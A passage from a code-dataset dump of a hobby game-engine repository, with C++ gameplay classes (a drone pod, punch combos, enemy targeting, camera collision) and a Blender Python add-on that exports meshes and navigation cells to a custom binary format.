pos;\n\t\tm_model->SetPosition(m_pos);\n\t}\n\n\tvoid SetRotation(const Quaternion& rot) {\n\t\tm_rotation = rot;\n\t\tm_model->SetRotation(rot);\n\t}\n\n\tconst Vector3& GetPosition() const {\n\t\treturn m_pos;\n\t}\n\n\t/// <summary>\n\t/// Podを投げる\n\t/// </summary>\n\t/// <param name=\"velocity\">Velocity</param>\n\t/// <param name=\"thrownTime\">何秒間投げるか</param>\n\tvoid Thrown(const Vector3& velocity, const float thrownTime = 1.f) {\n\t\tm_velocity = velocity;\n\t\tm_thrownTime = thrownTime;\n\t\tm_state = PodState::enThrown;\n\t\tm_timer = 0.f;\n\t}\n\n\tconst bool IsIdle() {\n\t\treturn m_state == PodState::enIdle;\n\t}\n\n\tenum class EnPodBone {\n\t\tBurrel_L1,\n\t\tBurrel_L2,\n\t\tBurrel_R1,\n\t\tBurrel_R2,\n\t\tThruster_Back,\n\t\tThruster_Under,\n\t\tenNumBoneType\n\t};\n\n\tBone* GetBone(Pod::EnPodBone bone) {\n\t\treturn m_podBones.at(TO_INT(bone));\n\t}\n\n\tstd::vector<Bone*>& GetBones() {\n\t\treturn m_podBones;\n\t}\n\n\tconst Quaternion& GetRotation() {\n\t\treturn m_rotation;\n\t}\n\nprivate:\n\tbool IsHitBombShield(const Vector3& vel);\n\n\tvoid ShotLaserBeam();\n\tvoid ThrownBehave();\n\tvoid Rampage();\n\tvoid Kamikaze();\n\tvoid BackToIdlePos();\n\n\tvoid IdleRotation();\n\tvoid CalcIdlePosition();\n\n\tvoid UseStamina(const float amount) {\n\t\tm_ability.currentStamina = max(0.f, m_ability.currentStamina - amount);\n\t}\n\n\tvoid ChargeStamina(const float amount) {\n\t\tm_ability.currentStamina = min(m_ability.STAMINA_MAX, m_ability.currentStamina + amount);\n\t}\n\n\t//model\n\tModelRender* m_model = nullptr;\n\n\t//transform\n\tVector3 m_pos = Vector3::Zero;\n\tconst Vector3 m_distanceFromPlayer = { 5.f,10.f,-5.f };\n\tQuaternion m_rotation = Quaternion::Identity;\n\tconst Vector3 m_scale = { 1.5f,1.5f,1.5f };\n\tfloat m_timer = 0.f;\n\n\tVector3 m_velocity = Vector3::Zero;\n\n\t//laser\n\tconst float m_LaserDamageAmount = 10.f;\n\n\t//Thrown\n\tfloat m_thrownTime = 1.f;\n\tconst float m_thrownAttackDamageAmount = 20.f;\n\tconst float m_thrownAttackRange = 30.f;\n\n\t//Rampage\n\tbool m_isIncreasing = true;\n\tfloat m_repetitiveMovementParam = 0.5f;\n\tbool m_isChasingEnemy = false;\n\tconst float m_rampageTime = 5.f;\n\tconst float m_rampagingDamageAmount = 10.f;\n\n\t//Kamikaze\n\tconst float m_kamikazeDamageAmount = 10.f;\n\n\t//Back\n\tconst float m_backSpeed = 150.f;\n\n\t//State\n\tenum class PodState {\n\t\tenIdle,\n\t\tenThrown,\n\t\tenRampage,\n\t\tenKamikaze,\n\t\tenBack,\n\t\tenNumPodState\n\t};\n\n\tPodState m_state = PodState::enIdle;\n\n\tPlayerLongRangeAttack m_longRangeAttack;\n\n\t//Effects\n\n\tconst int BACK = 0;\n\tconst int UNDER = 1;\n\n\tstd::vector<Bone*> m_podBones;\n\tstd::vector<JetEffect*> m_jetEffects;\n\t//SmokeEffect* m_smokeEffect;\n\n\tstruct SkillCosts {\n\t\tconst float ProjectileCost = 100.f / 5.f;\n\t\tconst float LaserCost = 30.f;\n\t\tconst float RampageCost = 30.f;\n\t\tconst float KamikazeCost = 30.f;\n\t} skillCosts;\n\n\tPodAbility m_ability;\n\n\tbool m_overheat = false;\n\tfloat m_overheatTimer = 0.f;\n\tconst float m_OverheatTime = 3.f;\n\n\ttypedef Vector4 Color;\n\tColor m_mulCol = Color::White;\n\t//Color m_smokeCol = { 0.3,0.3,0.3,0.5f };\n\tExplosionEffect* m_explosionEffect = nullptr;\n\tBeam* m_beamEffect = nullptr;\n\n\n\t//CSoundSource* m_laserSE = nullptr;\n\tCSoundSource* m_gunSE = nullptr;\n\n\tSphereCollider m_sphere;\n\n\t//PlayerBulletManager* m_playerBulletManager;\n};\n"
},
{
"alpha_fraction": 0.5103530287742615,
"alphanum_fraction": 0.5179107785224915,
"avg_line_length": 27.917665481567383,
"blob_id": "b70b18a83b53bab98819fbbf58f1a65c8577b4c8",
"content_id": "67a8cd45eb7e68768568c5042761b7f7f152d865",
"detected_licenses": [],
"is_generated": false,
"is_vendor": false,
"language": "Python",
"length_bytes": 19356,
"license_type": "no_license",
"max_line_length": 90,
"num_lines": 668,
"path": "/BlenderPlugin/tkmExporter.py",
"repo_name": "kokoasann/UsualEngineR",
"src_encoding": "UTF-8",
"text": "#coding:utf-8\n\nimport bpy\nfrom bpy.props import StringProperty\nfrom bpy.props import BoolProperty\nfrom bpy.props import IntProperty\nfrom bpy.props import CollectionProperty\nfrom bpy.types import PropertyGroup\nfrom bpy.props import PointerProperty\n\nimport mathutils as math\nimport copy\nimport struct\nimport os\n\nclass Bone:\n def __init__(self):\n self.name = \"\"\n self.index = 0\n \nclass Mate:\n def __init__(self):\n self.albedo = \"\"\n self.normal = \"\"\n self.specular = \"\"\n \nclass Vert:\n def __init__(self):\n self.index=-1\n self.real_index = -1\n self.index_tr=-1\n self.poly_index = -1\n \n self.pos = math.Vector((0,0,0))\n self.nor = math.Vector((0,0,0))\n self.uv = math.Vector((0,0))\n self.weight = [0,0,0,0]\n self.indices = [-1,-1,-1,-1]\n self.boneNames = []\n\nclass Mesh:\n def __init__(self):\n self.numMaterial = 1\n self.numVert = 0\n self.numPolygon = 0\n self.indexSize = 0\n \n self.materialList = [Mate()]\n \n \n self.vertList = []\n self.indeces = []\n \n self.vertGroups = {}\n \n def print(self):\n print(\"num mate: \",self.numMaterial)\n print(\"num vert: \",self.numVert)\n print(\"num poly: \",self.numPolygon)\n print(\"ind size: \",self.indexSize)\n print(\"mates\")\n for mate in self.materialList:\n print(\"albedo: \",mate.albedo)\n print(\"normal: \",mate.normal)\n print(\"specular: \",mate.specular)\n \n for vert in self.vertList:\n print(\"ind: \",vert.index)\n print(\"real ind: \",vert.real_index)\n print(\"ind tr: \",vert.index_tr)\n print(\"pos: \",vert.pos)\n print(\"nor: \",vert.nor)\n print(\"uv: \",vert.uv)\n print(\"weight: \",vert.weight)\n print(\"w ind: \",vert.indices)\n \n print(\"indeces: \",self.indeces)\n\ndef transToYUp(matrix):\n #ZUpをYUpに変えるための回転行列\n rotMat = math.Matrix([ [1, 0,0,0],\\\n [0, 0,1,0],\\\n [0,-1,0,0],\\\n [0, 0,0,1]])\n matrix = rotMat @ matrix\n return matrix\n \n \ndef build_mesh(o):\n meshParts = Mesh()\n \n #os.path.basename(o.MaterialProps.texture_alb).split('.', 1)[0]\n meshParts.materialList[0].albedo = \"/\"+os.path.basename(o.MaterialProps.texture_alb)\n meshParts.materialList[0].normal = \"/\"+os.path.basename(o.MaterialProps.texture_nor)\n meshParts.materialList[0].specular = \"/\"+os.path.basename(o.MaterialProps.texture_spe)\n \n objmat = transToYUp(o.matrix_world.copy())\n rotmat = objmat.copy()\n rotmat = rotmat.Translation((0,0,0))\n \n msh = o.to_mesh()\n \n # num polygon\n #numPly = len(msh.vertices)\n \n #vertex data build\n vertList = []\n for vt in msh.vertices:\n vert = Vert()\n vert.index = vt.index\n vert.index_tr = vt.index\n vert.pos = objmat @ vt.co\n vert.nor = rotmat @ vt.normal\n \n for i,w in enumerate(vt.groups):\n if i == 4:\n print(\"out of w ind\",o)\n break\n vert.indices[i] = w.group\n vert.weight[i] = w.weight\n #vert.boneNames.append(w.name)\n \n vertList.append(vert)\n \n for group in o.vertex_groups:\n meshParts.vertGroups[group.index] = group.name\n #print(meshParts.vertGroups)\n \n #print(\"mesh split to a polygon for index\")\n vlist = []\n pindlist = []\n count = 0\n for pl in msh.polygons:\n for vi in pl.vertices:\n for vert in vertList:\n if vert.index == vi:\n v = copy.deepcopy(vert)\n v.real_index = count\n v.poly_index = pl.index\n vlist.append(v)\n count += 1\n break\n \n \n #print(\"set uv\")\n for ly in msh.uv_layers:\n \n for idx, dat in enumerate(msh.uv_layers[ly.name].data):\n vlist[idx].uv.x = dat.uv.x\n vlist[idx].uv.y = 1.-dat.uv.y\n \n \n \n msh.calc_loop_triangles()\n \n # num polygon\n meshParts.numPolygon = len(msh.loop_triangles)\n indList = []\n #print(\"build index data\")\n for tr in msh.loop_triangles:\n #print(\"poly: %d\"%tr.polygon_index)\n for v in tr.vertices:\n\n for ve in vlist:\n if ve.index == v and tr.polygon_index == ve.poly_index:\n indList.append(ve.real_index)\n #print(\" %d\"%ve.real_index,end=\"\")\n break\n #print(\"\")\n\n #print(len(indList))\n meshParts.vertList += vlist\n meshParts.indeces = indList\n \n return meshParts\n\n \n rVertList = []\n indList = []\n for tr in msh.loop_triangles:\n for i,v in enumerate(tr.loops):\n ve = None\n for vert in vertList:\n if vert.index == tr.vertices[i]:\n ve = vert\n if v in indList:\n new_index = 0\n while True:\n if new_index in indList:\n new_index += 1\n else:\n break\n \n new_vert = copy.deepcopy(ve)\n new_vert.index_tr = new_index\n rVertList.append(new_vert)\n indList.append(new_index)\n else:\n ve.index_tr = v\n indList.append(v)\n rVertList.append(ve)\n \n \n meshParts.vertList.append(rVertList)\n return meshParts\n \n\ndef build_data(obj,f):\n \n meshList = []\n if obj.type == \"ARMATURE\":\n for o in obj.children:\n meshList.append(build_mesh(o))\n \n boneIDs = {}\n bpy.ops.object.mode_set(mode='EDIT')\n edit_bones = list(bpy.context.object.data.edit_bones)\n for i,bone in enumerate(edit_bones):\n boneIDs[bone.name] = i\n #print(boneIDs)\n for msh in meshList:\n for vert in msh.vertList:\n for j,k in enumerate(vert.indices):\n if k == -1:\n break\n #print(k)\n vert.indices[j] = boneIDs[msh.vertGroups[k]]\n else:\n meshList.append(build_mesh(obj))\n\n \n # num's meshes\n numMesh = len(meshList)\n #print(\"num mesh: %d\"%numMesh)\n \n # tkm version\n f.write(struct.pack(\"B\",100))\n # is flat shading\n f.write(struct.pack(\"<B\",0))\n # num mesh\n f.write(struct.pack(\"<H\",numMesh))\n \n for msh in meshList:\n #msh.print()\n indexSize = 2\n if len(msh.indeces) > 65535:\n indexSize = 4\n \n f.write(struct.pack(\"<I\",len(msh.materialList)))\n f.write(struct.pack(\"<I\",len(msh.vertList)))\n f.write(struct.pack(\"<Bbbb\",indexSize,0,0,0))\n \n \n for mate in msh.materialList:\n \n if len(mate.albedo) > 1:\n f.write(struct.pack(\"<I\",len(mate.albedo)))\n f.write(mate.albedo.encode(encoding=\"sjis\")+b\"\\0\")\n #for i in range(len(mate.albedo)%4):\n #f.write(struct.pack(\"B\",0))\n else:\n f.write(struct.pack(\"<I\",0))\n \n if len(mate.normal) > 1:\n f.write(struct.pack(\"<I\",len(mate.normal)))\n f.write(mate.normal.encode(encoding=\"sjis\")+b\"\\0\")\n #for i in range(len(mate.normal)%4):\n #f.write(struct.pack(\"B\",0))\n else:\n f.write(struct.pack(\"<I\",0))\n \n if len(mate.specular) > 1:\n f.write(struct.pack(\"<I\",len(mate.specular)))\n f.write(mate.specular.encode(encoding=\"sjis\")+b\"\\0\")\n #for i in range(len(mate.specular)%4):\n #f.write(struct.pack(\"B\",0))\n else:\n f.write(struct.pack(\"<I\",0))\n \n for vert in msh.vertList:\n for v in vert.pos:\n f.write(struct.pack(\"<f\",v))\n \n for v in vert.nor:\n f.write(struct.pack(\"<f\",v))\n for v in vert.uv:\n f.write(struct.pack(\"<f\",v))\n for v in vert.weight:\n f.write(struct.pack(\"<f\",v))\n for v in vert.indices:\n #print(v)\n f.write(struct.pack(\"<h\",v))\n \n f.write(struct.pack(\"<I\",msh.numPolygon))\n format = \"<H\"\n if indexSize == 4:\n format = \"<I\"\n for v in msh.indeces:\n #print(\" %d\"%v)\n f.write(struct.pack(format,v+1))\n \n if indexSize == 2:\n if (msh.numPolygon*3) % 2 != 0:\n f.write(struct.pack(\"H\",0))\n \nclass Cell:\n def __init__(self,ind):\n # this index\n self.index = ind\n #indeces\n self.verts = []\n #position\n self.center = None\n #triangle polygon index\n self.adjacentCell = []\n self.vertPos = []\n \n def addCell(self,cellind):\n self.adjacentCell.append(cellind)\n \n def isAdjacentCell(self,cell):\n cnt = 0\n for v in cell.verts:\n if v in self.verts:\n cnt += 1\n if cnt >= 2:\n return True\n return False\n \ndef wrightCell(o,f):\n print(\"start cell export\")\n mesh = o.to_mesh()\n mesh.calc_loop_triangles()\n cellList = []\n \n for tri in mesh.loop_triangles:\n cell = Cell(tri.index)\n cell.verts = tri.vertices\n center = tri.center.copy()\n print(center)\n y = center.y\n center.y = center.z\n center.z = y * -1\n cell.center = center\n \n for i in tri.vertices:\n v = mesh.vertices[i].co.copy()\n y = v.y\n v.y = v.z\n v.z = y * -1\n cell.vertPos.append(v)\n \n cellList.append(cell)\n \n \n \n for cell in cellList:\n #print(\"build adjacent\")\n for aCell in cellList:\n if cell.index == aCell.index:\n continue\n if aCell.isAdjacentCell(cell):\n cell.addCell(aCell.index)\n \n f.write(struct.pack(\"<I\",len(cellList)))\n for cell in cellList:\n #print(\"C\")\n #print(\"wright cell\")\n #f.write(struct.pack(\"<I\",cell.index))\n for vp in cell.vertPos:\n for v in vp:\n f.write(struct.pack(\"<f\",v))\n for v in cell.adjacentCell:\n #print(v)\n f.write(struct.pack(\"<I\",v))\n \n if 3-len(cell.adjacentCell) != 0:\n for i in range(3-len(cell.adjacentCell)):\n #print(-1)\n f.write(struct.pack(\"<i\",-1))\n \n for v in cell.center:\n f.write(struct.pack(\"<f\",v))\n \n \n \n \n#アドオンの詳細\nbl_info = {\n \"name\": \"tkmExporter\",\n \"description\": \"\",\n \"author\": \"kokoasann\",\n \"version\": (1, 0, 0, 0),\n \"blender\": (2, 80, 2),\n \"category\": \"Properties\",\n \"location\": \"Window\",\n \"warning\": \"\",\n \"wiki_url\": \"\",\n \"tracker_url\": \"\"\n}\n \nclass MaterialProps(PropertyGroup):\n texture_alb : StringProperty(\n name = \"Texture\",\n description = \"texture\",\n default = \"\",\n maxlen = 256,\n )\n texture_nor : StringProperty(\n name = \"Normal\",\n description = \"texture\",\n default = \"\",\n maxlen = 256,\n )\n texture_spe : StringProperty(\n name = \"Specular\",\n description = \"texture\",\n default = \"\",\n maxlen = 256,\n )\n\n \nclass PT_Panel(bpy.types.Panel):\n bl_label = \"tkmExporter\"\n bl_space_type = \"PROPERTIES\"\n bl_region_type = \"WINDOW\"\n bl_context = \"object\"\n \n def draw(self, context):\n #print(type(context))\n self.layout.operator(\"tkmexporter.export\")\n self.layout.operator(\"tkmexporter.exportselect\")\n \n row = self.layout.row()\n row.prop(context.object.MaterialProps,\"texture_alb\",text=\"albedo\")\n row.operator(\"tkmexporter.open_texture\",icon=\"FILE_FOLDER\")\n \n row = self.layout.row()\n row.prop(context.object.MaterialProps,\"texture_nor\",text=\"normal\")\n row.operator(\"tkmexporter.open_normal\",icon=\"FILE_FOLDER\")\n \n row = self.layout.row()\n row.prop(context.object.MaterialProps,\"texture_spe\",text=\"specular\")\n row.operator(\"tkmexporter.open_specular\",icon=\"FILE_FOLDER\")\n \n self.layout.operator(\"tkmexporter.cell_export\")\n\n\nclass OT_Export(bpy.types.Operator):\n bl_idname = \"tkmexporter.export\"\n bl_label = \"Export Material\"\n \n filename_ext = \".tkm\"\n filepath : StringProperty(subtype = \"FILE_PATH\")\n \n def invoke(self,context,event):\n filepath = \"untitle\"+self.filename_ext\n context.window_manager.fileselect_add(self)\n return {'RUNNING_MODAL'}\n\n def execute(self,context):\n with open(self.filepath,\"wb\") as f:\n obj = bpy.context.active_object\n build_data(obj,f)\n return {\"FINISHED\"}\n\n\nclass OT_ExportSelect(bpy.types.Operator):\n bl_idname = \"tkmexporter.exportselect\"\n bl_label = \"Export Select Material\"\n \n filename_ext = \".tkm\"\n filepath : StringProperty(subtype = \"FILE_PATH\")\n \n def invoke(self,context,event):\n filepath = \"untitle\"+self.filename_ext\n context.window_manager.fileselect_add(self)\n return {'RUNNING_MODAL'}\n\n def execute(self,context):\n objs = bpy.context.selected_objects\n for i,obj in enumerate(objs):\n path = self.filepath[:self.filepath.rfind(\".\")]\n path += \"_\"+str(i)+self.filename_ext\n with open(path,\"wb\") as f:\n build_data(obj,f)\n return {\"FINISHED\"}\n\nclass OT_OpenTexture(bpy.types.Operator):\n bl_idname = \"tkmexporter.open_texture\"\n bl_label = \"Open\"\n \n filename_ext = \"\"\n filepath : StringProperty(subtype = \"FILE_PATH\")\n def invoke(self,context,event):\n self.filepath = \"untitle\"+self.filename_ext\n context.window_manager.fileselect_add(self)\n return {'RUNNING_MODAL'}\n\n def execute(self,context):\n bpy.context.active_object.MaterialProps.texture_alb = self.filepath\n return {\"FINISHED\"}\n \nclass OT_OpenNormal(bpy.types.Operator):\n bl_idname = \"tkmexporter.open_normal\"\n bl_label = \"Open\"\n \n filename_ext = \"\"\n filepath : StringProperty(subtype = \"FILE_PATH\")\n def invoke(self,context,event):\n self.filepath = \"untitle\"+self.filename_ext\n context.window_manager.fileselect_add(self)\n return {'RUNNING_MODAL'}\n\n def execute(self,context):\n bpy.context.active_object.MaterialProps.texture_nor = self.filepath\n return {\"FINISHED\"}\n \nclass OT_OpenSpecular(bpy.types.Operator):\n bl_idname = \"tkmexporter.open_specular\"\n bl_label = \"Open\"\n \n filename_ext = \"\"\n filepath : StringProperty(subtype = \"FILE_PATH\")\n def invoke(self,context,event):\n self.filepath = \"untitle\"+self.filename_ext\n context.window_manager.fileselect_add(self)\n return {'RUNNING_MODAL'}\n\n def execute(self,context):\n bpy.context.active_object.MaterialProps.texture_spe = self.filepath\n return {\"FINISHED\"}\n \nclass OT_CellExport(bpy.types.Operator):\n bl_idname = \"tkmexporter.cell_export\"\n bl_label = \"Export Cell\"\n \n filename_ext = \".clb\"\n \n filepath : StringProperty(\n name=\"clb_FilePath\",\n description=\"Filepath used for exporting the file\",\n default = \"untitled.clb\",\n maxlen=1024,\n subtype='FILE_PATH',\n )\n \n def invoke(self,context,event):\n filepath = \"untitle\"+self.filename_ext\n context.window_manager.fileselect_add(self)\n return {'RUNNING_MODAL'}\n\n def execute(self,context):\n with open(self.filepath,\"wb\") as f:\n obj = bpy.context.active_object\n wrightCell(obj,f)\n return {\"FINISHED\"}\n\nclasss = (\n PT_Panel,\n OT_Export,\n OT_ExportSelect,\n OT_OpenTexture,\n OT_OpenNormal,\n OT_OpenSpecular,\n OT_CellExport,\n MaterialProps,\n \n)\ndef register():\n for c in classs:\n bpy.utils.register_class(c)\n bpy.types.Object.MaterialProps = PointerProperty(type=MaterialProps)\n #bpy.types.Scene.armatures = CollectionProperty(type=ItemSet)\n \n\ndef unregister():\n for c in classs:\n bpy.utils.unregister_class(c)\n del bpy.types.Object.MaterialProps\n #del bpy.types.Scene.armatures\n\n\nif __name__ == \"__main__\":\n register()\n\n\ndef test():\n obj = bpy.context.active_object\n msh = obj.to_mesh()\n\n print(\"num of vertices:\", len(msh.vertices))\n for vt in msh.vertices:\n print(\"vertex index:{0:2} co:{1} normal:{2}\".format(vt.index, vt.co, vt.normal))\n for w in vt.groups:\n print(\"group: %d weight: %f\"%(w.group,w.weight))\n \n print(\"Weight: \")\n for gr in obj.vertex_groups:\n #print(type(gr))\n print(gr.name)#+\" Weight:{0:2}\".format(gr.weight(1)))\n\n if True:\n print(\"num of polygons:\", len(msh.polygons))\n for pl in msh.polygons:\n print(\"polygon index:{0:2} \".format(pl.index), end=\"\")\n print(\"vertices:\", end=\"\")\n for vi in pl.vertices:\n print(\"{0:2}, \".format(vi), end=\"\")\n print(\"\")\n for pl in msh.polygons:\n print(\"polygon index:{0:2} \".format(pl.index))\n print(\" > loops:\", end=\"\")\n print(\" total:\", pl.loop_total, end=\"\")\n print(\" start:\", pl.loop_start, end=\"\")\n print(\" indices:\", end=\"\")\n for lp in pl.loop_indices:\n print(\"{0:2}, \".format(lp), end=\"\")\n print(\"\")\n \n\n print(\"Triangle!!(it maybe use...)\")\n msh.calc_loop_triangles()\n for tr in msh.loop_triangles:\n print(\"index:{0} \".format(tr.index))\n \n print(\"vertex:\",end=\"\")\n for v in tr.vertices:\n print(\"{0:2}\".format(v),end=\"\")\n \n print(\"\\nloops: \",end=\"\")\n for v in tr.loops:\n print(\"%d \"%v,end=\"\")\n \n print(\"\")\n \n \n print(\"uvs: \",len(msh.uv_layers))\n for ly in msh.uv_layers:\n print(ly.name+\":\")\n for idx, dat in enumerate(msh.uv_layers[ly.name].data):\n print(\" {0}:{1}\".format(idx, dat.uv))\n print(\"\")\n \n \ndef DataTest():\n o = bpy.context.active_object\n \n m = build_mesh(o)\n \n print(\"num vertex: %d\"%len(m.vertList)) ## 41 ????\n print(\"num polygon: %d\"%m.numPolygon)\n\n for v in m.vertList:\n print(\"index: {}\\npos {}\".format(v.real_index,v.pos))\n print(\"uv: {}\\n\".format(v.uv))\n \n print(\"!!!\")\n \ndef out_test():\n o = bpy.context.active_object\n path = \"G:\\\\Programing\\\\python\\\\TkmExporter\\\\test.tkm\"\n with open(path,\"wb\") as f:\n build_data(o,f)\n \n#out_test()\n#DataTest()\n#test()\n\n"
},
{
"alpha_fraction": 0.7338982820510864,
"alphanum_fraction": 0.7440677881240845,
"avg_line_length": 22.600000381469727,
"blob_id": "b487e365154934ad089d9d5e9b03c7cbfaac0829",
"content_id": "2e7bf50465ab5ada4cee0e2d977a9adc133bc997",
"detected_licenses": [],
"is_generated": false,
"is_vendor": false,
"language": "C++",
"length_bytes": 590,
"license_type": "no_license",
"max_line_length": 59,
"num_lines": 25,
"path": "/Game/Enemy/State/LongBigState/EnemyLongBigTargetingState.h",
"repo_name": "kokoasann/UsualEngineR",
"src_encoding": "UTF-8",
"text": "#pragma once\n#include \"Enemy/State/IEnemyState.h\"\n#include \"EnemyLongBigAttackState.h\"\n\nclass EnemyLongBigTargetingState final : public IEnemyState\n{\npublic:\n\tEnemyLongBigTargetingState();\n\t~EnemyLongBigTargetingState();\n\tvoid Init(IK* ik, Quaternion& rot, float bulletSpeed);\n\n\tvoid Enter(IEnemy* e) override;\n\tIEnemyState* Update(IEnemy* e) override;\n\tvoid Exit(IEnemy* e) override;\nprivate:\n\tEnemyLongBigAttackState m_lba;\n\n\tIK* m_ik = nullptr;\n\tfloat m_timer = 0.f;\n\tconst float m_timeLimit = 2.f;\n\tQuaternion* m_rot = nullptr;\n\tfloat m_speed = 0.f;\n\n\tfloat m_overLookRange = 300.f;\n};\n"
},
{
"alpha_fraction": 0.6836053133010864,
"alphanum_fraction": 0.6928783655166626,
"avg_line_length": 26.5,
"blob_id": "652382df2bb14fce4be8e044f834d2fb634918b5",
"content_id": "61e459b3a4bfec750f0171e3d6759500e9b07fbb",
"detected_licenses": [],
"is_generated": false,
"is_vendor": false,
"language": "C++",
"length_bytes": 2696,
"license_type": "no_license",
"max_line_length": 135,
"num_lines": 98,
"path": "/Game/Player/Attack/DefaultPreset/PlayerAttackPunch.cpp",
"repo_name": "kokoasann/UsualEngineR",
"src_encoding": "UTF-8",
"text": "#include \"stdafx.h\"\n#include \"PlayerAttackPunch.h\"\n#include \"../../Player.h\"\n#include \"../../../Enemy/EnemyManager.h\"\n\nPlayerAttackPunch::PlayerAttackPunch() {\n}\n\nPlayerAttackPunch::~PlayerAttackPunch() {\n}\n\nvoid PlayerAttackPunch::Init(Player* player, int combo) {\n#ifdef _PRINT_PLAYER_ATTACK\n\tstd::string s = \"attack punch combo :\" + std::to_string(combo);\n\tDebugPrint_WATA(s.c_str());\n#endif\n\n\tm_isDone = false;\n\tm_isContinuAttack = false;\n\tm_timer = 0.f;\n\tm_combo = combo;\n\tm_hasAlreadyAttacked = false;\n\n\tswitch (combo) {\n\tcase 1:\n\t\tplayer->PlayAnimation(Player::EnAnimation::enPunch1);\n\t\tbreak;\n\tcase 2:\n\t\tplayer->PlayAnimation(Player::EnAnimation::enPunch2);\n\t\tbreak;\n\tcase 3:\n\t\tplayer->PlayAnimation(Player::EnAnimation::enPunch3);\n\t\tbreak;\n\t}\n\n}\n\nvoid PlayerAttackPunch::Execute(Player* player) {\n\n\tif (!player->IsPlayingAnimation()) {\n\t\tm_timer += gameTime()->GetDeltaTime();\n\t}\n\telse{\n\n\t\tfloat knockbackParam = 150.f;\n\t\tbool stunFlag = true;\n\t\tconst int MAX_COMBO = 3;\n\t\tif (m_combo == MAX_COMBO) {\n\t\t\tstunFlag = true;\n\t\t\tknockbackParam = 200;\n\t\t}\n\n\t\tif (m_combo % 2 == 0) {\n\t\t\tif (player->ColCheck(Player::EnPlayerBone::enHand_L) and !m_hasAlreadyAttacked) {\n\t\t\t\tauto& enemyManager = EnemyManager::GetEnemyManager();\n\t\t\t\tauto nearestEnemy = enemyManager.GetNearestEnemy(player->GetBone(Player::EnPlayerBone::enHand_L)->GetWorldMatrix().GetTransrate());\n\n\t\t\t\t//auto vecPlayerToEnemy = nearestEnemy->GetPosition() - player->GetPosition();\n\t\t\t\tauto vecPlayerToEnemy = player->GetForward();\n\t\t\t\tvecPlayerToEnemy.Normalize();\n\n\t\t\t\tnearestEnemy->ApplyDamage(m_damageAmount * m_combo, stunFlag, vecPlayerToEnemy * knockbackParam);\n\t\t\t\tauto punchSE = NewGO< CSoundSource>(0);\n\t\t\t\tpunchSE->Init(L\"Assets/sound/chara/punch_2_2.wav\", false);\n\t\t\t\tpunchSE->Play(false);\n\t\t\t\tm_hasAlreadyAttacked = true;\n\t\t\t}\n\t\t}\n\n\t\tif (m_combo % 2 != 0) {\n\t\t\tif (player->ColCheck(Player::EnPlayerBone::enHand_R) and !m_hasAlreadyAttacked) {\n\t\t\t\tauto& enemyManager = EnemyManager::GetEnemyManager();\n\t\t\t\tauto nearestEnemy = enemyManager.GetNearestEnemy(player->GetBone(Player::EnPlayerBone::enHand_R)->GetWorldMatrix().GetTransrate());\n\n\t\t\t\t//auto vecPlayerToEnemy = nearestEnemy->GetPosition() - player->GetPosition();\n\t\t\t\tauto vecPlayerToEnemy = player->GetForward();\n\t\t\t\tvecPlayerToEnemy.Normalize();\n\n\t\t\t\tnearestEnemy->ApplyDamage(m_damageAmount * m_combo, stunFlag, vecPlayerToEnemy * knockbackParam);\n\n\t\t\t\tauto punchSE = NewGO< CSoundSource>(0);\n\t\t\t\tpunchSE->Init(L\"Assets/sound/chara/punch_2_1.wav\", false);\n\t\t\t\tpunchSE->Play(false);\n\n\t\t\t\tm_hasAlreadyAttacked = true;\n\t\t\t}\n\t\t}\n\t}\n\n\tif (m_timer >= m_interval) {\n\t\tm_isDone = true;\n\t}\n\n\tif (g_pad[0]->IsTrigger(enButtonB)) {\n\t\tm_isContinuAttack = true;\n\t}\n\n}\n\n"
},
{
"alpha_fraction": 0.7427745461463928,
"alphanum_fraction": 0.7572254538536072,
"avg_line_length": 19.294116973876953,
"blob_id": "eb6b15b18fc2ad392fe0baaaf515e0523fa5f42c",
"content_id": "8dd03ecf8e8187e194e4f274e62416a08d5dbe0c",
"detected_licenses": [],
"is_generated": false,
"is_vendor": false,
"language": "C++",
"length_bytes": 346,
"license_type": "no_license",
"max_line_length": 79,
"num_lines": 17,
"path": "/Game/Camera/CCameraCollisionSlover.h",
"repo_name": "kokoasann/UsualEngineR",
"src_encoding": "UTF-8",
"text": "\n#pragma once\n#include \"physics/SphereCollider.h\"\n\n//class CSphereCollider;\n\nclass CCameraCollisionSlover\n{\npublic:\n\tCCameraCollisionSlover();\n\t~CCameraCollisionSlover();\n\tvoid Init(float radius);\n\n\tbool Execute(Vector3& result, const Vector3& position, const Vector3& target);\nprivate:\n\tSphereCollider\t\tm_collider;\n\tfloat\t\t\t\tm_radius = 0.0f;\n};\n"
},
{
"alpha_fraction": 0.6774193644523621,
"alphanum_fraction": 0.6774193644523621,
"avg_line_length": 6.875,
"blob_id": "c44d5c1026dd5211d0e2ed879cb4fca4313c8e5a",
"content_id": "1237a7d003a2a3ce321792338f8aa9429aa1cca6",
"detected_licenses": [],
"is_generated": false,
"is_vendor": false,
"language": "C++",
"length_bytes": 62,
"license_type": "no_license",
"max_line_length": 23,
"num_lines": 8,
"path": "/UsualEngineR/Thread/Lock.cpp",
"repo_name": "kokoasann/UsualEngineR",
"src_encoding": "UTF-8",
"text": "#include \"PreCompile.h\"\n#include \"Lock.h\"\n\n\nnamespace UER\n{\n\n}"
},
{
"alpha_fraction": 0.676867663860321,
"alphanum_fraction": 0.6876687407493591,
"avg_line_length": 18.839284896850586,
"blob_id": "3475e8766f313cdc9350f2146bfa1f484bd8eb59",
"content_id": "560658b1fa3be7fc163073bb112bd278346d4379",
"detected_licenses": [],
"is_generated": false,
"is_vendor": false,
"language": "C++",
"length_bytes": 1131,
"license_type": "no_license",
"max_line_length": 65,
"num_lines": 56,
"path": "/Game/Enemy/State/ShortBigState/EnemyShortBigPunch.cpp",
"repo_name": "kokoasann/UsualEngineR",
"src_encoding": "SHIFT_JIS",
